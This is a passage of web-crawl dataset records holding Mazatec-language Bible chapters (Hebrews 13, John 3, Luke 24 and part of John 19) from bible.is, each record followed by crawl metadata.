ndaà síjé‑nò nga ti̱jét'aà‑là Nainá xi i̱t'aà ts'a̱n, mé‑ne nga kàtatsjá'nde‑na nga ni̱to̱n kjíkon‑nò. 20Jè Nainá xi tsjá kjoa̱'nchán xi kisìkjaáya‑la̱ i̱t'aà ts'e̱ kjoa̱ biyaà Na̱'èn‑ná Jesucristo, xi paxtò ítjòn‑la̱ ts'e̱ orrè, jè xi ko̱ jní‑la̱ tsibí'ñó‑ne jngoò kjoa̱ xi̱tse̱ xi mìkiì kjoe̱het'aà ni̱ta̱ kjé‑ne, 21kàtasíkixi̱yandaà‑nò ngats'iì kjoa̱ xi ndaà tjín, mé‑ne nga kàtitasòn‑ne koni s'ín mejèn‑la̱ Nainá; i̱t'aà ts'e̱ Jesucristo, k'oa̱s'ín kàtasíko̱‑ná koni s'ín sasén‑la̱ Nainá. ¡Jeya kàtìjna Cristo ni̱ta̱ mé na̱chrjein‑ne! K'oa̱á s'ín kàtama. 22Bìtsi'bà‑nò ndí 'ndsè, ndaà chjoétjò 'én xi tìkjiì‑nò koni s'ín tìbìnè‑nò nga̱ ta chiba 'én tìkjiì‑nò. 23Kàtasijiìn‑nò jè 'ndseé Timoteo jye tíjnandei̱í‑ne xi kjoa̱ ts'e̱ kjo̱'in; tsà kjoi̱í ni̱to̱n, kjíko̱‑ná k'e̱ nga kjián katsejèn‑nò. 24Ti̱ixat'aà yije jñà xi̱ta̱ xi jncha ítjòn‑nò ko̱ ngats'iì xi̱ta̱‑la̱ Cristo. Jñà xi Italia ts'e̱ nchisíhixat'aà‑nò. 25Ngats'ioò, jè kàtìjnako̱‑nò kjo̱ndaà‑la̱ Nainá.\nHebreos 13","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Heb\/13","date":"2013-12-08T13:38:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163065790\/warc\/CC-MAIN-20131204131745-00086-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.000009298324585}","num_words":565,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.292,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Tsibìjna jngoò xi̱ta̱ fariseo xi ti̱koa̱ xi̱ta̱ ítjòn tsibìjna i̱t'aà ts'e̱ xi̱ta̱ judío; Nicodemo ki'mì. 2Jngoò k'a j'iìkon Jesús k'e̱ nga jñò, kitsò‑la̱: ―Maestro, 'ya‑náje̱n nga jè Nainá kisìkasén‑lè mé‑ne ko̱kóya‑náje̱n. Nga jngoò xi̱ta̱ xi mìtsà Nainá tíjnako̱, mìkiì ko̱ma‑la̱ s'i̱in kjo̱xkón xi ji̱ 'nì. 3Jesús kitsò‑la̱: ―Xi nguì o̱kixi̱, k'oa̱á xan‑lè, jè xi̱ta̱ xi mìkiì jts'ín xi̱tse̱ ìjngoò k'a‑ne, mìkiì skoe̱ kó s'ín otíxoma Nainá. 4Nicodemo kiskònangui, kitsò: ―¿Kós'ín ko̱ma jts'ín xi̱tse̱ ìjngoò k'a xi̱ta̱ xi jye kòjchínga? Ni̱ i̱tsé ko̱ma kjoa̱has'en ìjngoò k'a i̱ndso̱'ba̱ nea̱‑la̱ nga jts'ín ìjngoò k'a. 5Kiìchja̱ Jesús kitsò: ―Xi nguì o̱kixi̱, k'oa̱á xan‑lè, jè xi mì i̱t'aà ts'e̱ nandá ko̱ Ini̱ma̱ Tsjeè‑la̱ Nainá jts'ín‑ne, mìkiì ko̱ma kjoa̱has'en‑jiìn ñánda tíhotíxoma Nainá. 6Jè xi ts'iìn i̱t'aà ts'e̱ xi̱ta̱, xi̱ta̱‑né. Koa̱ jè xi ts'iìn i̱t'aà ts'e̱ Ini̱ma̱ Tsjeè‑la̱ Nainá, ini̱ma̱‑né. 7Kì maxkón‑lè koni s'ín tìxan‑lè: \"Mochjeén‑né nga jts'ín xi̱tse̱ ìjngoò k'a‑ne jñà xi̱ta̱.\" 8Jè tjo̱ 'ba‑né ni̱ta̱ ñánda‑ne; na'yà‑la̱ nga one. Ta̱nga mìkiì 'ya‑la̱ ñánda nchrobá‑ne, ti̱koa̱ mìkiì 'ya‑la̱ ñánda fì. K'oa̱á ti̱s'ín ma yije ngats'iì xi i̱t'aà ts'e̱ Ini̱ma̱ Tsjeè‑la̱ Nainá ts'iìn‑ne. 9K'e̱é kitsò Nicodemo: ―¿Kós'ín ma‑ne nga k'oa̱s'ín ko̱ma‑ne kjoa̱ koi? 10Jesús kitsò‑la̱: ―Ngaji̱, maestro tijni ts'e̱ xi̱ta̱ na̱xa̱ndá Israel. ¿Mé‑ne mìkiì tíjiìn‑lè kjoa̱ koi? 11Xi nguì o̱kixi̱, k'oa̱á xan‑lè: Jè kjoa̱ xi ma‑naje̱n, k'oa̱á s'ín nokjoà‑je̱n; xi jye kina'yà‑je̱n, k'oa̱á s'ín bèno̱jmí‑je̱n. Jñò, mìkiì mokjeiín‑nò 'én‑na̱je̱n. 12K'e̱ nga beno̱jmí‑nò kjoa̱ xi tjín i̱sò'nde, mìkiì mokjeiín‑nò. ¿A ko̱kjeiín‑nò tsà ke̱èno̱jmí‑nò kjoa̱ xi tjín ján ngajmiì? 13'Ni̱ saà jngoò xi̱ta̱ xi jye kiìmijìn ján ngajmiì; tà jè Ki'ndí‑la̱ Xi̱ta̱ xi ngajmiì tíjna nga ya̱ itjojen‑ne. 14Koni s'ín kis'iìn Moisés nga kiskímiì'nga yá xi tjo̱ót'aà ye̱ ki̱cha̱ bronce ya̱ i̱'nde i̱t'aà xìn ñánda kixì choòn, k'oa̱á ti̱s'ín tjínè‑la̱ jè Ki'ndí‑la̱ Xi̱ta̱ nga tjámiìtje̱n‑t'aà jè yá, 15mé‑ne ngats'iì xi̱ta̱ xi ko̱kjeiín‑la̱ i̱t'aà ts'e̱, mìkiì chi̱ja, s'e̱é‑la̱ kjoa̱binachon ni̱ta̱ kjé‑ne. 16'Nainá 'ñó tsatoó kjòtsjakeè xi̱ta̱ i̱sò'nde nga kitsjaà Ki'ndí‑la̱ xi ta̱jngoò ma‑ne, mé‑ne ngats'iì xi̱ta̱ xi mokjeiín‑la̱ i̱t'aà ts'e̱, mìkiì chi̱ja; s'e̱é‑la̱ kjoa̱binachon ni̱ta̱ kjé‑ne. 17Nainá mìtsà koi xá kisìkasén‑ne Ki'ndí‑la̱ nga kjo̱'in koi̱ìnè‑la̱ xi̱ta̱ i̱sò'nde; koií xá kisìkasén‑ne nga ko̱chrjekàjiìn kjo̱'in xi̱ta̱ kjoa̱ ts'e̱ jé‑la̱. 18'Jè xi mokjeiín‑la̱ i̱t'aà ts'e̱ Ki'ndí‑la̱ Nainá, mìtsà kjo̱'in si̱nè‑la̱ xi kjoa̱ ts'e̱ jé‑la̱, ta̱nga jè xi mìkiì mokjeiín‑la̱ jyeé kjo̱'in tjínè‑la̱, koií kjoa̱‑la̱ nga mìkiì mokjeiín‑la̱ i̱t'aà ts'e̱ Ki'ndí‑la̱ Nainá xi ta̱jngoò ma‑ne. 19Jñà xi̱ta̱ xi mìkiì mokjeiín‑la̱, jyeé kjo̱'in tjínè‑la̱, koií kjoa̱‑la̱ k'e̱ nga j'iì i̱ i̱sò'nde jè xi̱ta̱ xi j'iìko̱ kjoa̱hiseèn, mìkiì kisaseèn‑la̱ kjoa̱hiseèn; ìsa̱á ndaà kisaseèn‑la̱ kjoa̱jñò, nga ch'o tjín kjoa̱ xi nchis'ín. 20Ngats'iì xi̱ta̱ xi ch'o s'ín, majtikeè kjoa̱hiseèn; mìkiì ya̱ síchrañat'aà ñánda iseèn choòn, mé‑ne nga mìkiì jcha̱‑la̱ kjoa̱ xi ch'o nchis'ín. 21Ta̱nga jñà xi̱ta̱ xi kjoa̱ kixi̱ nchis'ín, nchrobá kinchat'aà chrañà‑la̱ ñánda iseèn choòn, mé‑ne nga jcha̱‑la̱ nga ndaà tjín kjoa̱ xi nchis'ín koni s'ín mejèn‑la̱ Nainá. 22Nga jye komà kjoa̱ koi, Jesús kiìko̱ xi̱ta̱ xi kota'yàt'aà‑la̱ ján nangui Judea; ya̱á tsibìtsa̱jna chiba na̱chrjein nga kis'iìn bautizar xi̱ta̱. 23Juan ti̱koa̱ kis'iìn bautizar xi̱ta̱ ya̱ na̱xa̱ndá Enón, jngoò i̱'nde xi chrañàt'aà‑la̱ ya̱ na̱xa̱ndá Salim, koií kjoa̱‑la̱ i̱'nde jè tjín jchán nandá. Jñà xi̱ta̱, ya̱á ijchòkon Juan nga komà bautizar. 24Na̱chrjein koi, ti̱kj'eè nda̱yá fìs'en Juan. 25Jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Juan ko̱ jngoò xi̱ta̱ judío tsohótiya‑ne kjo̱tíxoma‑la̱ xi̱ta̱ judío xi xkón tjín kós'ín matsjeèya‑ne xi̱ta̱. 26Kiì jñà xi̱ta̱ ñánda tíjna Juan, kitsò‑la̱: ―Maestro, jè xi̱ta̱ xi ijchòkoi̱i ján xijngoaà xa̱jngá nandá Jordán, jè xi̱ta̱ xi ji̱ kits'iì 'én i̱t'aà ts'e̱, i̱'ndei̱ ti̱koa̱ tís'ín bautizar; sa̱á jé fìtji̱ngui‑la̱ ngats'iì xi̱ta̱. 27Kiìchja̱ Juan, kitsò: ―Ni̱mé xi s'e̱‑la̱ xi̱ta̱ tsà mì jè sobà Nainá tsjá‑la̱. 28Jñò, ndaà tíjiìn‑nò koni s'ín kixan‑nò nga mìtsà 'a̱n xi Cristo; 'a̱n‑ná xi kinìkasén ítjòn‑na i̱t'aà ts'e̱ xi̱ta̱ jè. 29Jè xi̱ta̱ x'i̱n xi sa̱ kòbixan, tíjna chjo̱ón‑la̱; jè amigo‑la̱ xi kòbixan síjnat'aà chrañà‑la̱ nga tí'nchré‑la̱ koni s'ín tíchja̱. Tsja jchán ma‑la̱ k'e̱ nga 'nchré‑la̱ xi̱ta̱ xi sa̱ kòbixan. 'A̱n, k'oa̱á ti̱s'ín matsja‑na k'e̱ nga 'nchrè koni s'ín tís'ín xi̱ta̱ jè. 30Xi̱ta̱ jè, mochjeén‑né nga kàtasijna ítjòn. 'A̱n, kósi̱jna tji̱ngui‑ná. 31'Jè xi nchrobá‑ne ngajmiì, jè tíjna ítjòn‑la̱ ngats'iì xi̱ta̱. Jè xi i̱ i̱sò'nde ts'e̱, xi̱ta̱ i̱sò'nde‑né, ko̱ jñà 'én xi chja̱ kjoa̱ ts'e̱ i̱sò'nde‑né. Ta̱nga jè xi ngajmiì nchrobá‑ne, jè tíjna ítjòn‑la̱ ni̱ta̱ yá‑ne. 32Jè tsjá 'én mé xi kijtseè ko̱ mé xi kiì'nchré. Ta̱nga 'én xi tsjá, ni̱yá xi mokjeiín‑la̱ koni s'ín tsò. 33Ta̱nga jè xi̱ta̱ xi mokjeiín‑la̱ 'én xi chja̱, jè tsjá 'én nga Nainá, nguì 'én kixi̱í xi chja̱. 34Xi̱ta̱ xi Nainá kisìkasén, 'én‑la̱ Nainá chja̱, nga mìkiì fehet'aà koni s'ín síxájiìn ini̱ma̱‑la̱ jè nga'ñó xi tjín‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá. 35Na̱'èn‑ná tsjakeé Ki'ndí‑la̱; jè kisìnga̱tsja yije ni̱ta̱ mé kjoa̱‑ne. 36Jè xi mokjeiín‑la̱ koni tsò 'én xi chja̱ Ki'ndí‑la̱ Nainá, tjín‑la̱ kjoa̱binachon ni̱ta̱ kjé‑ne. Ko̱ jè xi mìkiì mokjeiín‑la̱ mìkiì kíjnakon ini̱ma̱‑la̱; kjo̱'in si̱nè‑la̱ xi kjo̱jti‑la̱ Nainá.\nSan Juan 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/John\/3","date":"2013-12-13T19:10:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164981569\/warc\/CC-MAIN-20131204134941-00025-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000091791152954}","num_words":784,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.306,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè na̱chrjein nga tàts'en xomàna̱, 'ñó ta̱jñòya kiì jñà íchjín ya̱ nga̱jo̱ mik'en ñánda kisìhijiìn Jesús nga kiìko̱ xkiì jne̱ xi tsibítsa̱jnandaà nga ki̱ìxten‑jno yijo‑la̱ Jesús; ti̱koa̱ kjihijtako̱ íchjín xi kj'ei̱í. 2K'e̱ nga ijchò, kijtseè jè nda̱jo̱ xi tíchjoàjto‑la̱ nga̱jo̱ mik'en, xìn kijna. 3K'e̱ nga jahas'en‑ngui nga̱jo̱ mì ti̱ kiì kjòtsji‑la̱ yijo‑la̱ Na̱'èn‑ná Jesús. 4K'e̱ nga nchisíkájno íchjín koi, tà ni̱to̱ón chinchat'aà jò‑la̱ xi̱ta̱ x'i̱n xi íkjá nikje xi ote ni'ín kjoàn. 5Íchjín koi, tà kitsakjòn‑la̱; chincha‑ñiat'aà nangui. K'e̱é kitsò jñà xi̱ta̱ x'i̱n xi jò ma‑ne: ―¿Mé‑ne i̱ binchaàtsjijiìn‑là mik'en jè xi̱ta̱ xi tíjnakon? 6Mì ti̱ yá tjín‑ne i̱jndé, jyeé kòfaáya‑la̱. Ti̱kítsjeèn koni s'ín kitsò‑nò k'e̱ nga ti̱sa̱ tsibìjna Galilea, 7nga kitsò: \"Mochjeén‑né nga jè Ki'ndí‑la̱ Xi̱ta̱, jñà ko̱nga̱tsja xi̱ta̱ jé nga ko̱òt'aà krò ta̱nga k'e̱ nga ki̱jchò jàn na̱chrjein kjoa̱áya‑la̱.\" 8Jñà íchjín koi, k'e̱é tsibítsjeèn‑la̱ koni s'ín kitsò Jesús. 9K'e̱ nga j'iì‑ne nga kiì katsejèn‑la̱ nga̱jo̱ mik'en, tsibéno̱jmí‑la̱ jñà xi̱ta̱ xi tsibíxáya‑la̱ xi tejngoò ma‑ne ko̱ xi̱ta̱ xi i'nga. 10Jñà íchjín koi, jè xi 'mì María Magdalena, Juana, María xi nea̱‑la̱ ma‑ne Jacobo ko̱ xi kj'ei̱í íchjín‑ìsa; jñà xi ijchòko̱ 'én nga tsibéno̱jmí‑la̱ jñà xi̱ta̱ xi tsibíxáya‑la̱. 11Ta̱nga jñà xi̱ta̱‑la̱ Jesús, xi kjoa̱ ni̱to̱n, tà kjoa̱ská komà‑la̱; mìkiì kòkjeiín‑la̱ 'én xi tsibéno̱jmí‑la̱ jñà íchjín. 12Ta̱nga jè Pedro, tsangachikon, kiì katsejèn‑la̱ nga̱jo̱ mik'en; k'e̱ nga kiskoòtsejèn‑s'en nga̱jo̱, kijtseè nga tà jñà kjioò nikje xi kisìjtéjiìn Jesús. I̱kjoàn kiì‑ne ni'ya‑la̱; tà kjòxkón‑la̱ kjoa̱ xi komà. 13Ti̱jè‑ne na̱chrjein, jò xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús nchifì jngoò na̱xa̱ndá xi 'mì Emaús, xi tjín‑la̱ tsà tejngoò kilómetro skanda ján Jerusalén. 14Nga nchifì ya̱ ndi̱yá, koií nchijoóya‑ne ngats'iì kjoa̱ xi komà. 15Nga nchijoóno̱jmí ti̱koa̱ nchikjònangui‑la̱ xíkjín ijchòtji̱ngui chrañà‑la̱ xi ti̱jè‑ne Jesús xi ta̱ña tsobáhijtako̱. 16Ta̱nga jñà, k'oa̱á komà‑la̱ koni tsà tíchjoà xko̱n, mìkiì kijtseèxkon. 17Jesús kiskònangui‑la̱, kitsò‑la̱: ―¿Mé 'én xi o̱ndaà chibàya‑nò nga tjaàya ndi̱yá? ¿Mé‑ne ba tjín‑nò? 18K'e̱é kiìchja̱ Cleofas, kitsò: ―Ngats'iì xi̱ta̱ na̱xa̱ndá Jerusalén, tà ji̱ ta̱ jngoò‑lè xi mìkiì tíjiìn‑lè jè kjoa̱ xi komà ján Jerusalén, jñà na̱chrjein xi tsato. 19Jesús kitsò: ―¿Mé kjoa̱‑ne? Jñà xi̱ta̱ koi kitsò‑la̱: ―Kjoa̱ ts'e̱ Jesús xi Nazaret i̱'nde‑la̱, jè xi kiìchja̱ ngajo‑la̱ Nainá; kis'eé‑la̱ nga'ñó, ma yijeé‑la̱ ni̱ta̱ mé kjoa̱‑ne, ni̱ta̱ mé 'én‑ne nga nguixko̱n Nainá, nguixko̱n ngats'iì xi̱ta̱ na̱xa̱ndá. 20Xi̱ta̱ sko̱‑la̱ no̱'miì, ko̱ xi̱ta̱xá tsa̱je̱n, kisìnga̱tsja xi̱ta̱ Romano nga kisìk'en, tsohót'aà krò. 21Ngaje̱n, titsa̱chiñá‑la̱je̱n, bixón‑náje̱n tsà jè Mesías xi si̱ìkítsa̱jnandei̱í‑ne xi̱ta̱ na̱xa̱ndá Israel. Ta̱nga i̱'ndei̱, jyeé tjín‑la̱ jàn na̱chrjein nga k'oa̱s'ín komà kjoa̱ koi. 22Ti̱koa̱á tjín i'nga íchjín xi títsa̱jnajiìn‑na̱je̱n, xi ta̱jñòya kòfì katsejèn‑la̱ jè nga̱jo̱ mik'en. K'e̱ nga kòf'iì‑ne kàbincháxkón‑naje̱n nga kàbéno̱jmí‑naje̱n 23nga mì xó kiì kàsakó‑la̱ yijo‑la̱ Jesús; ti̱koa̱ kàbeèxkon xó àkja̱le̱ xi kàtsò‑xó‑la̱: Jesús tíjnakon‑né. 24K'e̱é kòfì i'nga xi̱ta̱ xingui̱‑je̱n xi kòfì katsejèn‑la̱ nga̱jo̱ mik'en, k'oa̱á ti̱s'ín kàbeèxkon koni s'ín kàtsò jñà íchjín ta̱nga jè Jesús, mì xó kiì kòbeè. 25K'e̱é kitsò Jesús: ―¡Mé tà tòndo̱‑nò ti̱koa̱ mé tà tájaàjiìn tjín ini̱ma̱‑nò nga mìkiì ndaà mokjeiín‑nò kjoa̱ xi kitsò jñà xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá! 26¿A mìtsà tíjiìn‑nò? K'oa̱á s'ín tjínè‑la̱ Cristo, [xi̱ta̱ xi xó kisìkasén‑ne Nainá], nga ítjòn si̱ìkjeiín kjo̱'in, i̱kjoàn kjoa̱has'en ngajmiì ñánda jeya kíjna. 27Tsibéno̱jmíya‑la̱ kó tsòya‑ne koni s'ín tíchja̱ ngats'iì Xo̱jo̱n‑la̱ Nainá i̱t'aà ts'e̱ Cristo. Tsibíts'ia̱ko̱‑ne xo̱jo̱n xi kiskiì Moisés; i̱kjoàn tsibéno̱jmíya‑la̱ ngats'iì xo̱jo̱n xi kiskiì jñà xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá. 28K'e̱ nga ijchò ya̱ na̱xa̱ndá ñánda nchifì xi̱ta̱ koi, Jesús, k'oa̱á kis'iìn koni tsà ìsa̱ kjiìn tífì. 29Ta̱nga jñà xi̱ta̱ koi, kjo̱'ñó kis'iìn‑la̱ nga kisìkíjna; kitsò‑la̱: ―Ti̱jnako̱‑náje̱n; jyeé kjòhoxòn, jye kiskaàtjì ts'oí. Jè Jesús, kòkjeiín‑la̱; jahas'en ni'ya; tsibìjnako̱. 30K'e̱ nga jye títsa̱jnat'aà ími̱xa̱, kiskoé i̱nchra̱jín, kitsjaà‑la̱ kjo̱ndaà Nainá, kisìxkoa̱ya, i̱kjoàn kitsjaà‑la̱ jñà xi̱ta̱. 31K'e̱é kitáx'a̱ xko̱n; kijtseèxkon nga jè Jesús; ta̱nga jè Jesús, tà kichijà‑né nga nguixko̱n xi̱ta̱ koi. 32K'e̱é kitsò‑la̱ xíkjín: ―Koií‑la kjoa̱‑la̱ nga ndaà kòmatsja‑la̱ ini̱ma̱‑ná k'e̱ nga tíhóko̱no̱jmí‑ná ya̱ i̱ya ndi̱yá nga tíbéno̱jmí‑ná kjoa̱ ts'e̱ Xo̱jo̱n‑la̱ Nainá. 33Mì ti̱ kiì kiskoòñà‑ne, kisìkátji ni̱to̱ón‑ne nga kiì‑ne Jerusalén; ijchò ìjngoò k'a‑ne jngoò ni'ya ñánda títsa̱jnajtín xíkjín xi tejngoò ma‑ne ko̱ xi̱ta̱ xi kj'ei̱í‑ìsa. 34Jñà xi̱ta̱ xi tejngoò ma‑ne kitsò‑la̱ xíkjín: ―Kixi̱í kjoa̱, jyeé kòfaáya‑la̱ Na̱'èn‑ná Jesús; jyeé kòbeèxkon Simón. 35K'e̱é tsibéno̱jmí jñà xi̱ta̱ xi jò ma‑ne kó s'ín komàt'in ya̱ i̱ya ndi̱yá koa̱ kó s'ín komà nga kijtseèxkon Jesús k'e̱ nga kisìxkoa̱ya i̱nchra̱jín. 36Tákó ti̱k'e̱é nchichja̱‑ìsa nga nchibéno̱jmí‑la̱ xíkjín kjoa̱ koi, nga tsasìjnajiìn osen‑la̱ Jesús; kisìhixat'aà, kitsò‑la̱: ―Nainá, 'nchán kàtasíkítsa̱jna‑nò. 37Jñà xi̱ta̱ koi, tsí ndaà kitsakjòn, koa̱ tsí ndaà kisinchaàxkón; k'e̱ nga kijtseè, komà‑la̱ tsà tà ini̱ma̱‑la̱ mik'en‑né. 38Ta̱nga Jesús kitsò‑la̱: ―¿Mé tà ndaà tsakjoòn‑nò? ¿Mé‑ne k'oa̱ tsò‑ne kjo̱hítsjeèn xi bitjojiìn ini̱ma̱‑nò? 39Chítsejèn‑là ndsa̱a ko̱ ndso̱koaà. 'A̱n‑ná. Tjat'aà‑ná ndsa̱a koa̱ chítsejèn‑ná. Jngoò xi̱ta̱ xi tà ini̱ma̱, tsjìn‑la̱ yijo, ti̱koa̱á tsjìn‑la̱ nindaà, ta̱nga 'a̱n, tjín‑na koni s'ín titsa̱'yaà‑ná. 40K'e̱ nga jye o̱kitsò‑la̱, tsakó‑la̱ tsja ko̱ ndso̱ko̱. 41Ta̱nga jñà xi̱ta̱‑la̱ mìkiì xátí kòkjeiín‑la̱ nga tsja komà‑la̱ ti̱koa̱ kisinchaàxkón nga kijtseèxkon Jesús; k'e̱é kiskònangui Jesús, kitsò‑la̱: ―¿A tjín chiba‑nò tsojmì xi ma chine? 42Kitsjaà i̱tsé‑la̱ ti̱n xi jye kichjàn, ko̱ tsjén‑la̱ cho̱ cera. 43Jesús kiskoé, i̱kjoàn kiskine nga nguixko̱n jñà xi̱ta̱‑la̱. 44K'e̱é kitsò‑la̱ jñà xi̱ta̱‑la̱: ―Jñà kjoa̱ xi komàt'ian, jñà‑né xi tsibeno̱jmí‑nò k'e̱ nga ti̱sa̱ tsohóti̱jnako̱‑nò. K'oa̱á s'ín kixan‑nò nga ki̱tasòn yije‑né koni s'ín tíchja̱ xo̱jo̱n i̱t'aà ts'a̱n, jè kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés ko̱ ts'e̱ xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá ko̱ xi tjít'aà libro ts'e̱ Salmo. 45K'e̱é kisìkichi̱ya‑la̱ kjo̱hítsjeèn‑la̱ mé‑ne nga kàtjahas'en‑jiìn‑la̱ koni s'ín tíchja̱ Xo̱jo̱n xi tjít'aà 'Én Tsjeè‑la̱ Nainá. 46Kitsò‑la̱: ―K'oa̱á s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò nga 'a̱n xi Cristo, [xi xó kisìkasén‑na Nainá], k'oa̱á s'ín tjínè‑na nga ki̱yá; ta̱nga k'e̱ nga ki̱jchò jàn na̱chrjein, kjoa̱áya‑na i̱t'aà ts'e̱ kjoa̱ biyaà. 47Xi i̱t'aà ts'a̱n, Nainá si̱ìjchàat'aà‑la̱ jé‑la̱ xi̱ta̱ k'e̱ nga si̱ìkájno jé‑la nga mì ti̱ jé ko̱hótsji‑ne. Jè 'én koi, mochjeén‑né nga ki̱nókjoa̱yajiìn yije‑la̱ xi̱ta̱ mats'ia̱ko̱‑ne Jerusalén kó nga tíjtsa i̱sò'nde. 48Jñò kéno̱jmió kjoa̱ kixi̱ koni s'ín komà. 49'A̱n sìkasén‑nò jè kjo̱tjò xi tsjá Na̱'èn‑na̱ koni s'ín kitsjaà tso'ba. Ta̱nga jñò, i̱í ti̱tsa̱jna na̱xa̱ndá Jerusalén skanda k'e̱ nga tjoé‑nò nga'ñó‑la̱ Nainá xi nchrobá‑ne ngajmiì. 50K'e̱é kiìko̱ xi̱ta̱‑la̱ skanda ján na̱xa̱ndá Betania. Kiskímiì'nga tsja nga kisìjét'aà‑la̱ Nainá nga kàtasíchikon‑t'in jñà xi̱ta̱ koi. 51K'e̱ nga tísíjét'aà‑la̱, kitjámiì'nga nga kiì‑ne ngajmiì. 52Jñà xi̱ta̱‑la̱, k'e̱ nga jye chincha-xkó'nchit'aà‑la̱ nga jeya kisìkíjna Jesús, kiì‑ne Jerusalén; 'ñó tsja kis'e‑la̱. 53Na̱chrjein inchijòn tsibìtsa̱jnaya i̱ngo̱ ítjòn nga kitsjaà‑la̱ kjo̱ndaà Nainá ti̱koa̱ jeya kisìkíjna.\nSan Lucas 24","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Luke\/24","date":"2013-12-09T19:04:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163995757\/warc\/CC-MAIN-20131204133315-00060-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000064373,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.0000064373016357}","num_words":1021,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.29,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè Pilato kitsjà‑la̱ kjo̱hixi̱ jñà xi̱ta̱ nga isiki'on jè Jesús nga tsajá‑la̱. 2Jñà chíchàn kisì'ya̱ jngo yá na'yá nga tsikí'a sko̱ koni 'sín si'a jngo‑la̱ koròna̱ xi̱ta̱xá ítjòn; a̱kjòn isíkáya jngo nikje ra chji̱'ndi̱ inì 'kioo̱. 3Ijchò kincha'ta chraña‑la̱ kitsò‑la̱: ―¡Mé ta̱ nda‑la̱ jè Xi̱ta̱xá Ítjòn‑la̱ xi̱ta̱ judío! Ko̱ a̱kjòn isìjtsin'á jngo ya̱ i̱sén‑la̱. 4Jè Pilato itjoko̱ india‑ni jè Jesús ya̱ ndi̱tsiaán; ko̱ a̱kjòn kitsò‑la̱ jñà xi̱ta̱ na̱xi̱ndá: ―Chítsijen‑la, kosen masen‑no i̱jndíi̱, mé‑ni nga katasijin‑no nga ni̱mé jé sakó‑na nga a̱'ta 'tse̱ xi̱ta̱ ra̱kìi̱. 5'Kia̱ nga itjo jè Jesús tjí'a ya̱ sko̱ jè corona ra yá na'yá ko̱ kjiya jè nikje ra 'ñó chji̱'ndi̱ 'kioo̱. Jè Pilato kitsó‑la̱ xi̱ta̱ na̱xi̱ndá: ―Síjna i̱jndíi̱ jè xi̱ta̱ ra̱kìi̱. 6'Kia̱ nga kijtse jñà xi̱ta̱ ítjòn‑la̱ na̱'mì ko̱ jñà xi̱ta̱ ra síkinda̱ i̱ngo̱ tsikí'tsia̱ nga 'ñó kiìchja̱‑isa nga kitsò: ―¡Krò katasi'ta‑róoi̱! ¡Krò katasi'ta‑róoi̱! Jè Pilato kitsò: ―Jiòn sabà tahíko̱o nga tjà'tà krò; nga 'a̱n, ni̱mé jé sakó‑na nga̱'ta 'tse̱ xi̱ta̱ ra̱kìi̱. 7'Kia̱á kiìchja̱ jñà xi̱ta̱xá‑la̱ xi̱ta̱ judío nga kitsò: ―Ji̱n, tjín jngo‑naji̱n kjo̱téxoma, ko̱ jè kjo̱téxoma ra̱kìi̱, 'koa̱á 'sín tsò nga tjínè‑la̱ nga ki̱yá, ta nga̱tjì‑la̱ nga I'ndí‑la̱ Nainá tsò‑la̱ ijo‑la̱. 8'Kia̱ nga kií'nchré jñà 'én kìi̱, jè Pilato isa̱á 'ñó itsakjòn‑isa. 9'Kia̱á 'jaha'sen india‑ni ya̱ ni'ya masen nga iskonangi‑la̱ jè Jesús, kitsò‑la̱: ―¿Ñánda̱‑ni i̱'nde‑li? Tanga jè Jesús mì kì kiìchja̱. 10'Kia̱á kitsò‑la̱ jè Pilato: ―¿Mé‑ni mì kì nakjoá‑na? ¿A mí 'yi nga 'a̱án ra tjín‑na kjo̱téxoma nga ma ko'tá‑la krò, ko̱ ti̱'koa̱á 'a̱án‑te ra ma síkíjnandi̱í‑la? 11'Kia̱á kiìchja̱ Jesús kitsò: ―Ni̱jngoó‑la kjo̱téxoma 'se̱‑li ra ma ji̱ kíndajín‑ná tsa mí‑la jè Nainá kitsjá‑li kjo̱téxoma; kií jnchro isa̱á tse jé tjín‑la̱ jè ra isìnga̱tsja‑na koni ra ji̱. 12'Kia̱ nga ko̱kitsò Jesús, ya̱á kjo'tsia̱‑ni nga jè Pilato tsakátsji'nde‑la̱ kó'sín nga ma si̱ìkíjnandi̱í‑ni jè Jesús; tanga jñà xi̱ta̱ judío 'ñó kiìchja̱ nga kitsò‑la̱: ―Tsa si̱kíjnandi̱í‑ni jè xi̱ta̱ ra̱kìi̱, mì‑la tsa ya̱ nda fahijtako̱‑ni jè xi̱ta̱xá ítjòn ra batéxoma‑ná jè ra 'mì César. Nga̱ 